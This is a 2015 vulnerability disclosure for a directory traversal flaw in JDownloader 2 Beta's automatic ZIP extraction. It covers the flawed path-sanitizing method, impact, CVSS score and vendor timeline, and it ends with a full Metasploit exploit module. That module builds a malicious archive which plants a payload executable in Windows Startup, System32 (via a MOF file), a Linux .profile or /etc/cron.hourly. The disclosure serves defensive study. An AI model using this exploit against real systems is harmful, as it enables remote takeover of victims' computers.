JDownloader 2 Beta – Directory Traversal
=begin # Exploit Title: JDownloader 2 Beta Directory Traversal Vulnerability (Zip Extraction) # Date: 2015-06-02 # Exploit Author: PizzaHatHacker # Vendor Homepage: http://jdownloader.org/home/index # Software Link: http://jdownloader.org/download/offline # Version: 1171 <= SVN Revision <= 2331 # Contact: PizzaHatHacker[a]gmail[.]com # Tested on: Windows XP SP3 / Windows 7 SP1 # CVE: # Category: remote 1. Product Description Extract from the official website : "JDownloader is a free, open-source download management tool with a huge community of developers that makes downloading as easy and fast as it should be. Users can start, stop or pause downloads, set bandwith limitations, auto-extract archives and much more. It's an easy-to-extend framework that can save hours of your valuable time every day!" 2. Vulnerability Description & Technical Details JDownloader 2 Beta is vulnerable to a directory traversal security issue. Class : org.appwork.utils.os.CrossSystem Method : public static String alleviatePathParts(String pathPart) This method is called with a user-provided path part as parameter, and should return a valid and safe path where to create a file/folder. This method first checks that the input filepath does not limit itself to a (potentially dangerous) sequence of dots and otherwise removes it : pathPart = pathPart.replaceFirst("\\.+$", ""); However right after this, the value returned is cleaned from starting and ending white space characters : return pathPart.trim(); Therefore, if you pass to this method a list of dots followed by some white space like ".. ", it will bypass the first check and then return the valid path ".." which is insecure. This leads to a vulnerability when JDownloader 2 Beta just downloaded a ZIP file and then tries to extract it. A ZIP file with an entry containing ".. " sequence(s) would cause JD2b to overwrite/create arbitrary files on the target filesystem. 3. Impact Analysis : To exploit this issue, the victim is required to launch a standard ZIP file download. The Unzip plugin is enabled by default in JDownloader : any ZIP file downloaded will automatically be extracted. By exploiting this issue, a malicious user may be able to create/overwrite arbitrary files on the target file system. Therefore, it is possible to take the control of the victim's machine with the rights of the JDownloader process - typically standard (non-administrator) rights - for example by overwriting existing executable files, by uploading an executable file in a user's autorun directory etc. 4. Common Vulnerability Scoring System * Exploitability Metrics - Access Vector (AV) : Network (AV:N) - Access Complexity (AC) : Medium (AC:M) - Authentication (Au) : None (Au:N) * Impact Metrics - Confidentiality Impact (C) : Partial (C:P) - Integrity Impact (I) : Partial (I:P) - Availability Impact (A) : Partial (A:P) * CVSS v2 Vector (AV:N/AC:M/Au:N/C:P/I:P/A:P) - CVSS Base Score : 6.8 - Impact Subscore 6.4 - Exploitability Subscore 8.6 5. Proof of Concept - Create a ZIP file with an entry like ".. /poc.txt" - Upload it to an HTTP server (for example) - Run a vulnerable revision of JDownloader 2 Beta and use it to download the file from the server - JD2b will download and extract the file, which will create a "poc.txt" one level upper from your download directory OR see the Metasploit Exploit provided. 6. Vulnerability Timeline 2012-04-27 : Vulnerability created (SVN Revision > 1170) 2014-08-19 : Vulnerability identified [...] : Sorry, I was not sure how to handle this and forgot about it for a long time 2015-05-08 : Vendor informed about this issue 2015-05-08 : Vendor response + Code modification (Revision 2332) 2015-05-11 : Code modification (SVN Revision 2333) 2015-05-11 : Notified the vendor : The vulnerable code is still exploitable via ".. .." (dot dot blank dot dot) 2015-05-12 : Code modification (SVN Revision 2335) 2015-05-12 : Confirmed to the vendor that the code looks now safe 2015-06-01 : JDownloader 2 Beta Update : Looks not vulnerable anymore 2015-06-04 : Disclosure of this document 7. Solution Update JDownloader 2 Beta to the latest version. 8. Personal Notes I am NOT a security professional, just a kiddy fan of security. I was boring so I looked for some security flaws in some software and happily found this. If you have any questions/remarks, don't hesitate to contact me by email. I'm interesting in any discussion/advice/exchange/question/criticism about security/exploits/programming :-) =end ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE include Msf::Exploit::WbemExec def initialize( info = {} ) super( update_info( info, 'Name' => 'JDownloader 2 Beta Directory Traversal Vulnerability', 'Description' => %q{ This module exploits a directory traversal flaw in JDownloader 2 Beta when extracting a ZIP file (which by default is automatically done by JDL). The following targets are available : Windows regular user : Create executable file in the 'Start Menu\Startup' under the user profile directory. (Executed at next session startup). Linux regular user : Create an executable file and a .profile script calling it in the user's home directory. (Executed at next session login). Windows Administrator : Create an executable file in C:\\Windows\\System32 and a .mof file calling it. (Executed instantly). Linux Administrator : Create an executable file in /etc/crontab.hourly/. (Executed within the next hour). Vulnerability date : Apr 27 2012 (SVN Revision > 1170) }, 'License' => MSF_LICENSE, 'Author' => [ 'PizzaHatHacker <PizzaHatHacker[A]gmail[.]com>' ], # Vulnerability Discovery & Metasploit module 'References' => [ [ 'URL', 'http://jdownloader.org/download/offline' ], ], 'Platform' => %w{ linux osx solaris win }, 'Payload' => { 'Space' => 20480, # Arbitrary big number 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Windows Regular User (Start Menu Startup)', { 'Platform' => 'win', 'Depth' => 0, # Go up to root (C:\Users\Joe\Downloads\..\..\..\ -> C:\) 'RelativePath' => 'Users/All Users/Microsoft/Windows/Start Menu/Programs/Startup/', 'Option' => nil, } ], [ 'Linux Regular User (.profile)', { 'Platform' => 'linux', 'Depth' => -2, # Go up 2 levels (/home/joe/Downloads/XXX/xxx.zip -> /home/joe/) 'RelativePath' => '', 'Option' => 'profile', } ], [ 'Windows Administrator User (Wbem Exec)', { 'Platform' => 'win', 'Depth' => 0, # Go up to root (n levels) 'RelativePath' => 'Windows/System32/', 'Option' => 'mof', } ], [ 'Linux Administrator User (crontab)', { 'Platform' => 'linux', 'Depth' => 0, # Go up to root (n levels) 'RelativePath' => 'etc/cron.hourly/', 'Option' => nil, } ], ], 'DefaultTarget' => nil, 'DisclosureDate' => '' )) register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', '']), # C:\Users\Bob\Downloads\XXX\xxx.zip => 4 # /home/Bob/Downloads/XXX/xxx.zip => 4 OptInt.new('DEPTH', [true, 'JDownloader download directory depth. (0 = filesystem root, 1 = one subfolder under root etc.)', 4]), ], self.class) register_advanced_options( [ OptString.new('INCLUDEDIR', [ false, 'Path to an optional directory to include into the archive.', '']), ], self.class) end # Traversal path def traversal(depth) result = '.. /' if depth < 0 # Go up n levels result = result * -depth else # Go up until n-th level result = result * (datastore['DEPTH'] - depth) end return result end def exploit # Create a new archive zip = Rex::Zip::Archive.new # Optionally include an initial directory dir = datastore['INCLUDEDIR'] if not dir.nil? and not dir.empty? print_status("Filling archive recursively from path #{dir}") zip.add_r(dir) end # Create the payload executable file path exe_name = rand_text_alpha(rand(6) + 1) + (target['Platform'] == 'win' ? '.exe' : '') exe_file = traversal(target['Depth']) + target['RelativePath'] + exe_name # Generate the payload executable file content exe_content = generate_payload_exe() # Add the payload executable file into the archive zip_add_file(zip, exe_file, exe_content) # Check all available targets case target['Option'] when 'mof' # Create MOF file data mof_name = rand_text_alpha(rand(6) + 1) + '.mof' mof_file = traversal(0) + 'Windows\\System32\\Wbem\\Mof\\' + mof_name mof_content = generate_mof(mof_name, exe_name) zip_add_file(zip, mof_file, mof_content) when 'profile' # Create .profile file bashrc_name = '.profile' bashrc_file = traversal(target['Depth']) + bashrc_name bashrc_content = "chmod a+x ./#{exe_name}\n./#{exe_name}" zip_add_file(zip, bashrc_file, bashrc_content) end # Write the final ZIP archive to a file zip_data = zip.pack file_create(zip_data) end # Add a file to the target zip and output a notification def zip_add_file(zip, filename, content) print_status("Adding '#{filename}' (#{content.length} bytes)"); zip.add_file(filename, content, nil, nil, nil) end end |